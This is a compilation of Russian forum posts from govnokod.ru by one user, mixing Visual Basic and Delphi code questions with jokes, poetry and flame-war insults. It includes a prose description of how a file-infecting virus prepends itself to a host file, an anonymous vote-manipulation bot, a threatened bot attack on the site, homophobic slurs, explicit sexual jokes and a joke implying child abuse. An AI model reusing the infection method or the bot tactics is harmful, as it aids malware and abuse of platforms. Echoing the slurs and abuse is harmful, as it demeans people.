  1821. финальные кадры: туман. Площадь залита красным светом, на ней раскиданы человеческие тела, они скорее в бессознании, чем мертвы. Одна девушка приходит в себя. Мужчина накидывает ей на плечи свою куртку, она благодарит.
  1822.  
  1823. финал: квартет (а может трио, не помню) аккордеонист, гобоист и кларнетист. Все в черных фраках и цилиндрах, исполняют траурную мелодию, это даже скорее аккорд, чем мелодия, звучит до самых титров. Аккордеонист, сидя на стуле, падает в обморок, гобоист снимает его руку с клавиатуры...
  1824.  
  1825. Кто вспомнит?
  1826.  
  1827. ########## doctor_stertor: comment http://govnokod.ru/23929#comment408369 ##########
  1828. Позволь же и мне, в таком случае, пролить своё видение мира.
  1829. Я разглядел в тебе довольно образованного социопата. Ты находишься на сайте уже довольно продолжительное время, подозреваю, что ты был здесь ещё до того, как пришёл я.
  1830. Тебе около сорока лет. Синеглазый блондин худощавого телосложения.
  1831. Вариантов два: ты либо успешный, хоть и окруженный людьми, но без настоящих друзей, человек, либо бирюк. Склонен к злоупотреблению алкоголем и курению. Я долго гадал, что же означает твой спам и пришёл к выводу, что ты используешь сайт как антистресс. Я же спамлю оттого, что долбоёб: очень удобная трактовка, избавляющая от долгих размышлений. Просто прими это - и мир вновь заиграет для тебя красками.
  1832.  
  1833. ########## Stertor: post http://govnokod.ru/14597 ##########
  1834. Option Explicit
  1835.  
  1836. Dim HTMLCode As String 'переменная для хранения кода страницы
  1837.  
  1838. Private Sub Command1_Click()
  1839. Winsock1.RemotePort = 80 'устанавливаем порт сервера 80
  1840. Winsock1.RemoteHost = "ippages.com" 'Хост
  1841. Winsock1.Connect 'Подключаемся
  1842. Label4.Caption = Winsock2.LocalIP
  1843. End Sub
  1844.  
  1845. Function CutIP(HTML As String) As String
  1846. Dim p1 As Integer
  1847. p1 = InStr(HTML, "Content-Type: text/html")
  1848. CutIP = Trim(Mid(HTML, p1 + 27, Len(HTML) - p1 - 23))
  1849. End Function
  1850.  
  1851. Private Sub Label1_Click()
  1852.  
  1853. End Sub
  1854.  
  1855. Private Sub Winsock1_Close() 'Событие генерируется при закрытии Канала связи
  1856. Form1.Caption = "Не подключен" 'Просто сообщаем о том что не подключены
  1857. Winsock1.Close
  1858. End Sub
  1859.  
  1860. Private Sub Winsock1_Connect() 'Событие генерируется при подключении
  1861. Form1.Caption = "Подключение" 'Подключены
  1862. 'Посылаем запрос на сервер выдающему наш IP
  1863. Winsock1.SendData "GET " + "/simple/" + " HTTP/1.0" + Chr(10) + Chr(10)
  1864. End Sub
  1865.  
  1866. 'Событие генерируется когда нам приходят данные
  1867. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  1868. Dim Temp As String
  1869. Winsock1.GetData HTMLCode
  1870. Label1.Caption = CutIP(HTMLCode)
  1871. End Sub
  1872.  
  1873. Получение ай-пи адреса посредством отправки на сайт запроса через компонент WinSock.
  1874. http://vbbook.ru/visual-basic/polychenie-svoego-ip/
  1875. Строго говоря, это не лажа кодера, просто используется (по незнанию?) очень глючный и непредсказуемый компонент.
  1876.  
  1877. ---------- description ----------
  1878. Fixed by me:
  1879. Function GetCurrentIP() As String
  1880. Dim txt As String
  1881. Dim i, j As Integer
  1882. Dim mshttp As New XMLHTTP 'по умолчанию сервер всегда зареган.
  1883. mshttp.open "GET", "http://checkip.dyndns.org/", False ' синхронный get
  1884. mshttp.send
  1885. txt = mshttp.responseText
  1886. i = InStr(1, txt, ":")
  1887.  
  1888. If i > 0 Then
  1889. i = i + 1
  1890. Else
  1891. GetCurrentIP = "" ' удобно было бы, если по присваиванию, подобному этому, происходило покидание процедуры. Ан, нет.
  1892. Exit Function
  1893. End If
  1894.  
  1895. j = InStr(i, txt, "</")
  1896. If j < 1 Then
  1897. GetCurrentIP = ""
  1898. Exit Function
  1899. End If
  1900.  
  1901. GetCurrentIP = Trim(Mid(txt, i, j - i))
  1902. End Function
  1903.  
  1904. ########## Stertor: comment http://govnokod.ru/18394#comment291315 ##########
  1905. -Ваау... Не покусывай...
  1906. В знак расположения Стертор щекотал Инквизитора орудием пыток по спине.
  1907. -Ааа.. Ммааааа!!!..
  1908. Инквизитор тревожно вскинул глаза, но потом всё понял и крепко припал к паху Стертора, обхватив его ягодицы. Стоявший позади и наблюдавший всё это Пидар успел заметить, что ногти инквизитора черные и что он в сережках.
  1909. -Фу, он ногти красит,-проговорил Пидар с отвращением.
  1910. Стертор ухмыльнулся и застегнул штаны.
  1911. -Ну, вот и всё. Пошли Пидар. А ты, ссаный, поидёшь с нами?
  1912. Инквизитор кивнул и опустил глаза.
  1913. -Вот и отлично. Нас ждут дела, мама DelphiGovno-а обещала мне златые горы - вакансии на паскале, если же она нас обманула,-Стертор грязно выругался,- мы ее декомпилируем,- Стертор захохотал. - В путь
  1914. !!
  1915.  
  1916. ########## void_main: comment http://govnokod.ru/20487#comment343651 ##########
  1917. Шаражкой нашей заправляла высокая, бледнолицая женщина, с мужской прической и говорящей фамилией: Потогон. Это была поистине демоническая женщина, с непредсказуемым и крутым нравом. Она могла запросто вызвать к себе любого студента (даже сына депутата или иного шишкаря), преподавателя, президента и сказать ему ровным, твёрдым, равнодушным голосом, глядя прямо в глаза: "собирай манатки и убирайся отсюда". Широких жестов от нее, как и от любого палача, ждать не приходилось... Ее присутствие вызывавало неподдельный страх. Лицо ее, без единой морщинки, не выражало ровным счетом ничего, кроме мертвецкого спокойствия и уверенности в собственных силах.
  1918.  
  1919. ########## Dr_Stertor: post http://govnokod.ru/21644 ##########
  1920. Прошу наделить меня админскими полномочиями.
  1921. Обязуюсь со всей строгостью и ответственностью выполнять обязанности модератора.
  1922. Готов открыть паспортные данные, если это необходимо.
  1923.  
  1924. Сил больше нет созерцать, как спамеры портят сайт, превращая его в нечитаемую помойку.
  1925. Давно уже нет интересных постов, многие завсегдатаи ушли, потому, что никому не охота
  1926. находиться среди багров и непотребщины.
  1927. Обиднее всего тот факт, что участники не только не игнорируют, но и наоборот, поощряют троллей...
  1928. Пора положить этому конец.
  1929.  
  1930. Я забыл пароль от учётки Stertor (http://govnokod.ru/user/5934), как и от мыла.
  1931. Если это возможно, прошу скинуть мне пароль на [email protected].
  1932. Этот же адрес можно использовать для связи.
  1933.  
  1934. ---------- description ----------
  1935.  
  1936.  
  1937. ########## Dr_Stertor: comment http://govnokod.ru/21160#comment359321 ##########
  1938. >Ты болен, чувак.
  1939. А Вы, стало быть, врач? Какое счастье, доктор!.. Спасите меня!!!
  1940.  
  1941. Я вовсе не любитель классического паскаля и мало знаком с ним. Просто я люблю программировать в визуальных средах. То, что я пишу именно на делфи - чистая случайность. Когда-то я и билдер пробовал, и Эклипс, и Кути - пока не понял, что C++ и подобные ему языки - не мой путь. У делфи оказался самый низкий порог вхождения. Это пахнет романтикой. Когда садишься за среды от Борланд (будь то C++/JBuilder или Delphi), все лишние мысли куда-то улетучиваются, хочется немедленно начать программировать. Отвечая на второй вопрос, скажу, что на 2016 год я пока не нашел замены делфям. Нет другой среды, которая бы устраивала меня.
  1942.  
  1943. ########## doctor_stertor: comment http://govnokod.ru/23882#comment405783 ##########
  1944. Мать с сыном на приёме у врача.
  1945. -Доктор, он по ночам писается...
  1946. Врач:
  1947. -Так, ну-ка выйдите, мамаша, мы сами поговорим... Мать выходит.
  1948. -А ну-боец, расскажи, как это у тебя получается? Ты же, вроде, большой уже - мужик.
  1949. -Понимаете, ко мне во сне приходит один мальчик и говорит: -Пойдём, пописаем!..
  1950. -Понятно... Понятно. А ты в следующий раз, когда придёт этот мальчик, скажи, что тебя мама не пускает. Лады?
  1951. -Хорошо.
  1952. Прошла неделя. Мать с сыном опять у врача, на глазах-слёзы:
  1953. -Доктор!.. Стало ещё хуже!!!
  1954. -Что случилось, боец?
  1955. -Да понимаете доктор, опять пришёл этот мальчик...
  1956. -Ну и что?..
  1957. -Говорит: Давай пописаем... Я сказал, уже пописал. -А он что?
  1958. -А он говорит: Ну, тогда пошли, покакаем...
  1959.  
  1960. Второй минус тебе я въебал.
  1961.  
  1962. ########## Stertor: comment http://govnokod.ru/14388#comment212376 ##########
  1963. Быдло - это те люди, кто в силу узкого кругозора, искаженного мировоззрения, низкой образованности или по каким-то другим причинам не приемлют культуры и моральных устоев современного общества. Быдло не приемлет никакой духовности. Быдло садится пьяным за руль(последствия всем хорошо известны), ломает памятники воинам, потому, что не знает, что эти воины защищали их же задницы, быдло пьет, грубит, пачкает подъезды, быдло может посреди концерта встать и издать неприличный звук или громко засмеяться. Еще примеры, или хватит? Ты все еще считаешь себя быдлом? Слово "быдло" НЕЛЬЗЯ применять в качестве синонима слов "народ, люди, общество"!!!
  1964.  
  1965. ########## Stertor: comment http://govnokod.ru/15557#comment222137 ##########
  1966. За что минусы, товарищи?
  1967. Я хотел сказать, что нужно выделить 2 блока (1 равный размеру тела, 2 равный размеру жертвы) прочитать себя (уж точно не с помощью BlockRead!!), затем прочитать блок из жертвы. Затем установить файловый указатель на 0, записать себя в жертву, установить файловый указатель на размер тела и записать блок жертвы. Вот и все. То, что автор использует array вместо выделения памяти, многократно открывает/закрывает жертву, пишет в цикле (вкупе с траеблядством) говорит о его безмозглости, так как в этом случае вирус легко может испортить жертву, что может быть расценено как вредоносный функционал и повлечет для автора куда большие проблемы.
  1968.  
  1969. ########## Stertor: post http://govnokod.ru/18110 ##########
  1970. Я помню чудное мгновенье:
  1971. Передо мной явилась ты,
  1972. Как мимолетное виденье,
  1973. Как гений чистой красоты.
  1974.  
  1975. В томленьях грусти безнадежной,
  1976. В тревогах шумной суеты,
  1977. Звучал мне долго голос нежный
  1978. И снились милые черты.
  1979.  
  1980. Шли годы. Бурь порыв мятежный
  1981. Рассеял прежние мечты,
  1982. И я забыл твой голос нежный,
  1983. Твои небесные черты.
  1984.  
  1985. В глуши, во мраке заточенья
  1986. Тянулись тихо дни мои
  1987. Без божества, без вдохновенья,
  1988. Без слез, без жизни, без любви.
  1989.  
  1990. Душе настало пробужденье:
  1991. И вот опять явилась ты,
  1992. Как мимолетное виденье,
  1993. Как гений чистой красоты.
  1994.  
  1995. И сердце бьется в упоенье,
  1996. И для него воскресли вновь
  1997. И божество, и вдохновенье,
  1998. И жизнь, и слезы, и любовь.
  1999.  
  2000. ---------- description ----------
  2001. А.С. Пушкин, 1825.
  2002. http://player.myshared.ru/884408/data/images/img11.jpg
  2003.  
  2004. ########## Stertor: comment http://govnokod.ru/14381#comment212188 ##########
  2005. Сразу видно, что ты малоопытный.
  2006. Темнота располагает к раскрепощению, кроме того, лично мне было бы стыдно смотреть на голую девушку, и я уверен, что этот стыд будет взаимным - это в человеке от природы. Не нужно воспринимать секс как средство получения банального физического насладжения - это один из способов узнать человека ближе. Очень хорошо написано об этом у Станислава Лема: заниматься сексом ради того, чтобы жизнь не казалась скучной , это все равно, что пригорошнями есть соль и перец, чтобы еда не казалась пресной. Наивно смотреть порнофильмы и делать выводы опираясь на увиденное - там все искажено и изуродовано.
  2007.  
  2008. ########## Stertor: comment http://govnokod.ru/11824#comment188432 ##########
  2009. >>каким должен быть характер человека, чтобы он от функции, предназначенной для поиска точного совпадения, ожидал нечувствительность к регистру?
  2010.  
  2011. мягкий и доброжелательный. Правда, иногда упертый.
  2012.  
  2013. >>чтобы он от функции, предназначенной для поиска точного совпадения
  2014. А что, есть и не для точного поиска?
  2015.  
  2016. Иногда бывает так, что точность поиска не столь важна (при парсинге html например), а наоборот, препятствует нормальной работе функции;
  2017. немного грустно становится, когда функция различает текст вроде этого:
  2018. "some string here", "Some string here".
  2019. Можно, в принципе, воспользоваться ansilowercase, но в таком случае мы опять возвращаемся к вопросу:
  2020.  
  2021. >>А что, есть и не для точного поиска?
  2022.  
  2023. ########## Stertor: comment http://govnokod.ru/14305#comment208366 ##########
  2024. - Эй, мужик, что ты делаешь?
  2025. - Я собираюсь взорвать Мир
  2026. - Это сделает его лучше?
  2027. -Нет, взрыв уничтожит все живое и повергнет планету в хаос
  2028. -Это доставит тебе радость?
  2029. -Нет, я погибну вместе со всеми.
  2030. -Тогда зачем ты это делаешь?
  2031. -Мне не нравится моя жизнь.
  2032. -Возьми этот камень
  2033. -Он холодный.
  2034. -Верно. Теперь попробуй наделить его жизнью, способностью чувствовать и мыслить.
  2035. -Я не могу этого сделать.
  2036. -Именно. Убить легко, но попробуй наделить жизнью даже самую ничтожную частичку - и у тебя ничего не получится.
  2037. -Возможно, я не до конца осознал смысл моих намерений.
  2038. -Ты теперь откажешься от своего намерения?
  2039. -Нет, не откажусь.
  2040. -В таком случае, я помешаю тебе.
  2041.  
  2042. ########## Dr_Stertor: comment http://govnokod.ru/21976#comment366478 ##########
  2043. Если Вы не понимаете, о чем речь, я объясню.
  2044. Я писал прогу, вроде диспетчера задач, ListView обновлялся по таймеру. При этом наблюдалось дикое мерцание и подёргивание, даже если сделать DoubleBuffered=true. Я даже пытался запоминать позиции скроллеров, чтобы после обновления проскроллить до начальной позиции - не помогало. Потом я открыл spy++ и запустил диспетчер задач. Оказалось, что WM_SCROLL окну не посылается вовсе. Тогда я смекнул, что вовсе необяательно очищать/перезаполнять список элементами, нужно просто менять информацию содержащуюся в них и корректировать количество элементов.
  2045.  
  2046. Можете посмотреть, как ListView ведет себя теперь: rast-security.do.am
  2047. Никакого подёргивания.
  2048.  
  2049. ########## Dr_Stertor: post http://govnokod.ru/21904 ##########
  2050. Как известно, негласные правила общения на ГК подразумевают анонимность участников.
  2051. Иногда этот принцип нарушается, - но "нарушители", как правило, залетные гости, которые долго не задерживаются, и молчуны.
  2052. Очень интересно, какими Вы себе друг друга представляете.
  2053.  
  2054. ---------- description ----------
  2055. Начну, пожалуй, я.
  2056.  
  2057. 1024--.
  2058. Рост - около 180 см. Возраст < 30. Цвет волос неизвестен, но могу предположить, что он брюнет. Цвет глаз - серо-зеленые.
  2059.  
  2060. Борманд.
  2061. Рост средний, 35-40 лет, темноволосый. Цвет глаз: - карие, либо изменчивый цвет.
  2062.  
  2063. Инканус-грэй.
  2064. Кареглазый брюнет, примерно, сорока лет.
  2065.  
  2066. Баян.
  2067. Высокий блондин. Возраст неизвестен, но я предполагаю, что ему около 28 лет.
  2068. Цвет глаз:иссиня-зеленые.
  2069.  
  2070. ########## Stertor: comment http://govnokod.ru/13233#comment184919 ##########
  2071. Привет. Перечислять долго, на этом можно курсовую защитить, как минимум. Попытаюсь хотя бы пару сравнений высказать.
  2072. В высокоуровневом языке не обязательно объявлять точку входа - пиши какой угодно код, хоть вроде msgbox "", и он выполнится при старте. Должна быть готовая функция для создания окна и прикрепления к нему окон других классов, готовая функция для изменения содержимого этих окон (контролов), (в c++ это делается c помощью API SetWindowText), поддерживать автоперегрузку и и так далее. Можно с уверенностью сказать, что высокоуровневый язык максимально освобождает программиста от вызова напрямую системных API - на нем кодить удобнее.
  2073.  
  2074. ########## Stertor: comment http://govnokod.ru/13922#comment199860 ##########
  2075. Можно использовать принцип облачников, который еще называют "барановым" принципом, и который успешно применяется несколькими местными баранами:
  2076. свиток смотрит оценку за пост, выставленную другими участниками, и на основе этого выставляет аналогичную: к примеру, если стоит минус, свиток декрементит, если плюс - инкрементит. Лажа в том, что свиток заранее не знает, кто выставлял оценку. Это может быть например Борманд, а может быть и залетный тролль, которому понравилось гоатсе. Бараны вышли из положения так. Свиток проверяет, есть ли минусы, если есть, то сколько? Если много - минусует. Бараны, такие бараны.
  2077.  
  2078. ########## Stertor: comment http://govnokod.ru/13639#comment194088 ##########
  2079. Пастор Шлаг уезжал в Швейцарию, и попросил Штирлица за него принять исповедь у прихожан, и оставил ему список пригрешений. Делать нечего, Штирлиц согласился.
  2080. -Святой отец, я совершил ужасный грех: побил жену и детей. Что мне делать?
  2081. Штирлиц, сверившись со списком, наказал ему подмести дорожки у храма.
  2082. Второй прихожанин озадачил Штирлица:
  2083. -Простите меня, святой отец: я занимался анальным сексом!
  2084. Штирлиц не нашел в списке грехов анальный секс и подозвал пробегавшего мимо служку.
  2085. -Скажи, малыш, что обычно дает пастор за анальный секс?
  2086. -Обычно шоколадку, и стаканчик кагора, - ответил раскрасневшись служка.
  2087.  
  2088. ########## Stertor: comment http://govnokod.ru/13316#comment186473 ##########
  2089. >>А внутри цикла много работы?
  2090.  
  2091. При нажатии на кнопку создается поток, ему передается некий строковый параметр, и он (поток) помещается в список. Список как бы "депо" потоков. Стоит задача: пресекать попытки создавать потоки с повторяющимися параметрами, т.е не создавать поток до тех пор, пока активен поток с таким же параметром. Для этого каждый раз перед созданием потока процедура просматривает весь список-депо и сравнивает параметра всех потоков с вновь заданным и если находит поток с таким же параметром - поток не создается.
  2092.  
  2093. >>Может просто залочить список на время прохода?
  2094.  
  2095. Тогда потоки встрянут.
  2096.  
  2097. ########## Dr_Stertor: comment http://govnokod.ru/21929#comment365243 ##########
  2098. @Блядь, я хуею, дорогая редакция. В жаве или питоне это один вызов
  2099.  
  2100. Возможно, ты очень умный человек, профессионал, но такое взрывное поведение очень тебе мешает, ибо ты склонен делать преждевременные выводы.
  2101.  
  2102. Речь шла о структурированных данных, специального формата - например, база сигнатур антивируса. Заголовок базы содержит количество сигнатур. Сама сигнатура содержит хэш вируса, его тип, дату добавления, фамилию сотрудника. А теперь прикинь: при добавлении сигнатуры в лабе выбило свет и файл был поврежден, половина сигнатур накрылась. Внимание, вопрос: как ты узнаешь, валидный ли файл?
  2103.  
  2104. ########## Stertor: comment http://govnokod.ru/15612#comment223281 ##########
  2105. не, я открываю с флагами open_existing. Видимо, проблема в том, как я читаю файл - уже решил с помощью CreateFileMapping. Теперь я просто инкрементирую указатель и читаю файл по битам. Но теперь возникла новая проблема: как считать сразу несколько байтов, и поместить их в переменную? Как вот такой набор байтов (к примеру) : $00,$2e,$8d поместить в 1 переменную, скажем, в массив, чтобы его можно было использовать как сигнатуру? Пытался использовать pbytearray, ни к чему не привело.
  2106.  
  2107. Никто мне не обязан помогать, я понимаю это, но если у кого-то возникнет желание поделиться опытом, я с радостью приму это. Скажу лишь в свое оправдание, что пишу не вредоносную прогу.
  2108.  
  2109. ########## Stertor: comment http://govnokod.ru/13839#comment197415 ##########
  2110. в 2007-2009 году я активно пополнял базы "аваста!" образцами винлоков. Образец вносили в базы через 3-4 дня - я был в ахуе. Бывало, кашпер еще не видит, а "аваст!" уже начеку.
  2111.  
  2112. Как то раз набравшись наглости, к очередному файлу я прикрепил сообщение следующего содержания:
  2113. "Не блокируйте, пожалуйста, мой фальшивый ключ! Я буду вашим внештатным аналитиком."
  2114.  
  2115. Шли месяцы, годы, а ключ не блокировали. Я до недавнего времени держал обещание, слал им вредные файлы. Но увы, 4.8 больше не поддерживают. Аваст был самым очаровательным и милым антивирусом, с которым мне когда либо приходилось иметь дело. Воспоминания только добрые.
  2116.  
  2117. ########## Stertor: post http://govnokod.ru/18305 ##########
  2118. [расшифровка черного ящика]
  2119.  
  2120. Выход один: нужно прибегнуть к хирургическому вмешательству.
  2121. Я опять заведу армию ботов и мы, совместо с Пидаром, будем шатать Ваш вертеп, пока он не рухнет.
  2122. Пришла пора снять розовые очки: все более-менее вменяемые юзера покинули сайт, осталось лишь 7-9 человек,
  2123. и пповедение этих 7-9 человек меня не устраивает. Пора прекратить холуйские обряды, устроим свою мини-революцию
  2124. {в заключение речи оратор взобрался на трибуну, снял штаны и показал неприличный жест}
  2125.  
  2126. [/расшифровка черного ящика]
  2127.  
  2128. ---------- description ----------
  2129. Соболь? Бобр? Куница? Нет, мне не нужна эта китайская халтура!.. Ватник мне, ватник!..
  2130.  
  2131. ########## Stertor: post http://govnokod.ru/14491 ##########
  2132. Попробуйте новый минусатор http://rghost.ru/52192415
  2133.  
  2134. * Добавлена возможность анонимной работы (в программу зашит долгоиграющий анонимный прокси);
  2135. * Добавлена "защита от идиотов";
  2136. * Подключен скин
  2137. * Теперь текст комментария выбранного участника отображается в виде всплывающей подсказки;
  2138. * !(БОНУС) добавлена возможность МИНУСОВАНИЯ ВСЕХ ПОСТОВ ОППОНЕНТА! Сровняйте врага с землей!
  2139.  
  2140. -Теперь бот не проигрывает мелодию при запуске.
  2141. -Удален логотип сайта
  2142.  
  2143.  
  2144.  
  2145.  
  2146. Меня вдохновил на дальнейшую работу над ботом вот этот человек, точнее, его комментарий:
  2147. http://govnokod.ru/14476#comment215002
  2148.  
  2149. ---------- description ----------
  2150. Новый бот-минусатор для ололо (может использоваться как парсер)
  2151.  
  2152. ########## Stertor: comment http://govnokod.ru/13922#comment199868 ##########
  2153. Я, кстати, был вынужден сам составить аналогичную программу, когда писал анти-спам для нашего сайта, потому, что какой-то урод спамит форум, рекламируя алмазные буры, бумажные пакеты, резиновые фаллосы, средства для потенции и прочую гадость. Программа анализирует текст и ищет в нем ключевые слова, пытаясь понять суть их использования, ведь тема может быть спамом, а может участники просто обсуждают, что какой-то урод спамит, и приводят цитаты из его рассылок. Программа получилась настолько удачной, что я только подрихтовал некоторые места, без изменения самого алгоритма.
  2154.  
  2155. ########## Stertor: comment http://govnokod.ru/14307#comment208871 ##########
  2156. Я пишу прокси-чекер. Алгоритм такой:
  2157. юзер грузит список проксей в формате про.кси.сер.вер:порт в ричбокс,
  2158. затем этот текст перемещается в лист, дубликаты удаляются, и потоки
  2159. начинают в цикле читать строки из листа, инкрементируя глобальную
  2160. переменную-счетчик, пока ее значение не сравнится с кол-вом строк в
  2161. листе. Годные прокси после проверки помещаются в другой ричбкс. т.е.
  2162. нужно написать потоковый делегат, который вытягивает из списка строку и
  2163. инкрементирует счетчик, и делегат, который добавляет строку из потока в
  2164. ричбокс с годными прокси. Сделаешь? Я тебе спасибо скажу.
  2165.  
  2166. ########## Dr_Stertor: comment http://govnokod.ru/21924#comment364044 ##########
  2167. Радуетесь, как воробушки на дерьме, - как говаривал Антон Павлович... А если посмотреть с изнанки, станет ясно, что радоваться особо и нечему: на один год ближе конец, ещё на один год постарели родители (у кого они есть), ушли многие хорошие люди... За то время, пока я тут находился, я стал невольным свидетелем постепенного выгорания участников; в наши сердца проникла пошлость, серость - и мне обидно, что я в этом участвовал. Не вижу необходимости никого ни с чем поздравлять. Давайте просто помолчим... Трагедия не перестанет быть трагедией, даже если придать ей мишурность праздника.
  2168.  
  2169. ########## Stertor: comment http://govnokod.ru/13750#comment195324 ##########
  2170. там в справке примеров нет никаких. Но я уже разобрался, спс большое! )
  2171.  
  2172.  
  2173. Ситуация такая. При вызове метода addobject выделяется некоторое количество памяти, которое НЕ ОСВОБОЖДАЕТСЯ при удалении самого контейнера, и она [память] доступна по ссылке. Возникает аналогия с рамкой-шаблоном в песочнице: играя, дети вдавливают ее в песок, и получают разные фигуры: треугольник, квадрат и цилиндр. Потом могут прийти другие дети и изменить созданные ранее фигуры, или даже затоптать их. Я провел эксперимент: procedure TForm1.Button1Click(Sender: TObject); var i:integer; lst:tstringlist; str:string; s:tololo; ls:tlistitem; begin lst:=tstringlist.Create; for i:=1 to 1000000 do begin s:=tololo.Create; s.str:='4353450980re9treoitoeriutoeriutoierutoiureoterotueroituoeriutfkdjhgkdfjhgkfdjhgkdfjg'; lst.AddObject(s.str,s); end; for i:=lst.count -1 downto 0 do begin //application.ProcessMessages; не используем ls:=listview1.items.add; ls.Caption:=tololo(lst.Objects[i]).str; ls.SubItems.AddObject('jkh',tololo(lst.Objects[i])); end; lst.Free; end; procedure TForm1.Button2Click(Sender: TObject); var i:integer; begin for i:=listview1.items.Count -1 downto 0 do begin listview1.Items[i].SubItems.Objects[0].Free; listview1.items[i].Delete; end; end; Память освобождается, что говорит о том, что код работает правильно.
  2174.  
  2175. ########## Stertor: comment http://govnokod.ru/14263#comment212189 ##########
  2176. Я тоже расскажу.
  2177. Монашка-настоятельница женского монастыря собрала монашек и упавшим голосом объявила: Мы прогневали господа, вчера наш монастырь посетил мужской дух!..
  2178. (Все монашки хором)
  2179. -О господи, за что ты посылаешь нам такие испытания!
  2180. (Один голос)
  2181. -Ахахах!...
  2182. Монашка продолжает:
  2183. -Вчера в саду я обнаружила использованный презерватив!
  2184. (Все монашки хором)
  2185. -О господи, за что ты посылаешь нам такие испытания!
  2186. (Один голос)
  2187. -Ахахах!...
  2188. -Но есть и хорошая новость: в презервативе обнаружена дырка!
  2189. (Все монашки хором)
  2190. -Ахахах!!!
  2191. (Один голос)
  2192. --О господи, за что ты посылаешь мне такие испытания!..
  2193.  
  2194. ########## Stertor: comment http://govnokod.ru/18305#comment289639 ##########
  2195. Тебе честно ответить, или в стиле местных плебеев? Буду верен себе: юзеров распугала местная свора, которая гнобит всех ее нечленов (только не делай вид, что ты не знаешь, о какой своре я говорю). Новые люди сюда заходят, но надолго никто не задерживается, так как отсутствует доброжелательность и хорошее отношение. С Вами банально не о чем говорить, Вы погружены в свои серенькие, однобокие интересы. Это привело к тому, что ГК, из когда-то пристойного сайта превратился в сборище задротов с хромающей орфографией и лежащими под капельницей пунктуацией и стилистикой.
  2196.  
  2197. ########## Stertor: comment http://govnokod.ru/13784#comment195899 ##########
  2198. Я видел декомпилированный исходник этого червя. Автор выкрутился без потоков, хотя делать нужно много чего - мониторить окна, завершать процессы антивирусов, заражать диски, перезапускаться, следить за реестром и т.д - создав 10 таймеров. На каждый таймер навешано свое событие.
  2199.  
  2200. <Так суть способа по ссылке в том, что файл autorun.inf как-бы не существует. Но проигрыватель видит установленный диск (флешку можно переформатировать так, чтобы она виделась как hdd, возможно пройдёт фокус и с cd-rom) начинает воспроизводить. и тебе вместо фильма показывается логотип МТС.>
  2201. немного не понял.
  2202.  
  2203. ########## doctor_stertor: post http://govnokod.ru/23065 ##########
  2204. Я очень рад, что сайт опустел; это не злорадство.
  2205. В жизни бываю моменты, когда пути людей расходятся, порой, навсегда. Это происходит по разным причинам,
  2206. и одна из них - отсутствие взаимопонимания.
  2207. Ушли и хорошие участники и тролли, нет более неадекватных гостей и спамеров.
  2208. Все более-менее приличные люди ушли ещё раньше, а сейчас уходят
  2209. задержавшиеся, подобно последним фракциям жидкости в делительной воронке.
  2210. Мне не довелось видеть сайт на заре его развития, но мне греет душу мысль, что по крайней мере, я наблюдаю его закат.
  2211.  
  2212. ---------- description ----------
  2213. Покойся с миром, govnokod.ru. Ты был хорошим другом.
  2214.  
  2215. ########## Stertor: comment http://govnokod.ru/18394#comment291054 ##########
  2216. Знать линукс и ассемблер - удел нищих фанатиков. XX| век на дворе. Ты не разрабатываешь драйверы, но кодишь на асме? Наверно, твои трусы стоят, словно коробка, если их бросить на пол... Пока ты занят ловлей блох в своём паху, обманутый надеждой, что вот-вот, совсем скоро линь дозреет, и им можно будет пользоваться, твои современники кодят на визуальных средах и зарабатывают деньги. Пройдут долгие-долгие годы, пока эта недоось дозреет и получит право называться осью. Ты к этому времени будешь никому не нужен, последователи Попова безжалостно удалят из сорцов твоё имя.
  2217.  
  2218. ########## doctor_stertor: comment http://govnokod.ru/23867#comment405872 ##########
  2219. +1
  2220. Когда я и ещё несколько дебилов рвали волосы и испытывали лютый баттхёрт по поводу необъективного миусовательства ханжей, вы надрывали животики. Теперь мой черед убивать веселиться. Я играю совершенно по Вашим правилам, только я чуть изменил их. Принцип "не пойман - не вор" больше не работает, заместо него теперь новый: "и вор, и не пойман".
  2221.  
  2222. А теперь, когда Вы по-достоинству оценили моё ко всем Вам без исключения отношение, можете хором припасть к моему хую (который я не мыл уже вторую неделю, ибо нет горячей воды), начать его сосать и творить прочие непотребства.
  2223.  
  2224. ########## Stertor: comment http://govnokod.ru/14522#comment216895 ##########
  2225. >>Т.е. если ты пишешь "кто поставит минус - тот гомосек" - это нормально.
  2226. Если человек умеющий читать видит надпись: "кто поставит минус - тот гомосек" (которая запощена в ответ на предыдущий неуместный минус) - и ставит минус, что это, месть миру за свою опущенность? Не пидор просто проигнорировал бы этот бред и прошел бы мимо. Мне была интересна реакция минусующих - минуснули 4 поста из 4. Делаем выводы об этих людях.
  2227.  
  2228. >>А если я минусую тебя и называю за это идиотом - это ханжество? Ну ахуеть у вас стандарты.
  2229. По мне, так лучше уж быть идиотом, чем пидором. Поправьте меня, если я не прав.
  2230.  
  2231. ########## Stertor: comment http://govnokod.ru/18307#comment289617 ##########
  2232. [notrolling]Дальтон был протанопом (не различал красный цвет), но не знал о своей цветовой слепоте до 26 лет. У него были три брата и сестра, и двое из братьев страдали цветослепотой на красный цвет. Дальтон подробно описал свой семейный дефект зрения в небольшой книге. Благодаря его публикации и появилось слово «дальтонизм», которое на долгие годы стало синонимом не только описанной им аномалии зрения в красной области спектра, но и любого нарушения цветового зрения.[/notrolling]
  2233.  
  2234. >>У вас черно - белый монитор ?
  2235. >>Нет, просто ты дальтоник.
  2236. >>Какая связь между дальтоником и Ч/б монитором?
  2237.  
  2238. Facepalm.png
  2239.  
  2240.  
  2241. ########## Stertor: comment http://govnokod.ru/15275#comment221314 ##########
  2242. Товарищи, подскажите, как поступит система(win32), если недостаточно памяти, а прога попыталась выделить большой блок:
  2243.  
  2244. система откажет;
  2245. система выделит блок меньшего размера, чем предполагалось.
  2246.  
  2247. Дело в том, что я пытался найти функцию, чтобы по указателю определить размер блока, на который он ссылается(такая функция есть в PureBasic): не нашел. Вот и думаю: а нужна ли она [функция] вообще? Ведь если система откажет, то указатель будет пуст, если же выделит - размер будет равен заданому значению. Но как быть, если система выдаст блок недостаточного размера? Возможно ли это?
  2248.  
  2249. ########## Stertor: comment http://govnokod.ru/18098#comment284190 ##########
  2250. Минусуют - потому, что эта учетке содержит слишком много отрицательной энергетики. Заведи другую - и впредь пиши нормально, избегая с*ачей. Ты никому ничего не докажешь, это и не нужно. Бывают друзья, которые обнимут и поймут, а бывают и такие, с кем можно просто хорошо провести время. Рассматривай местных, как второй вариант.
  2251. p.s.
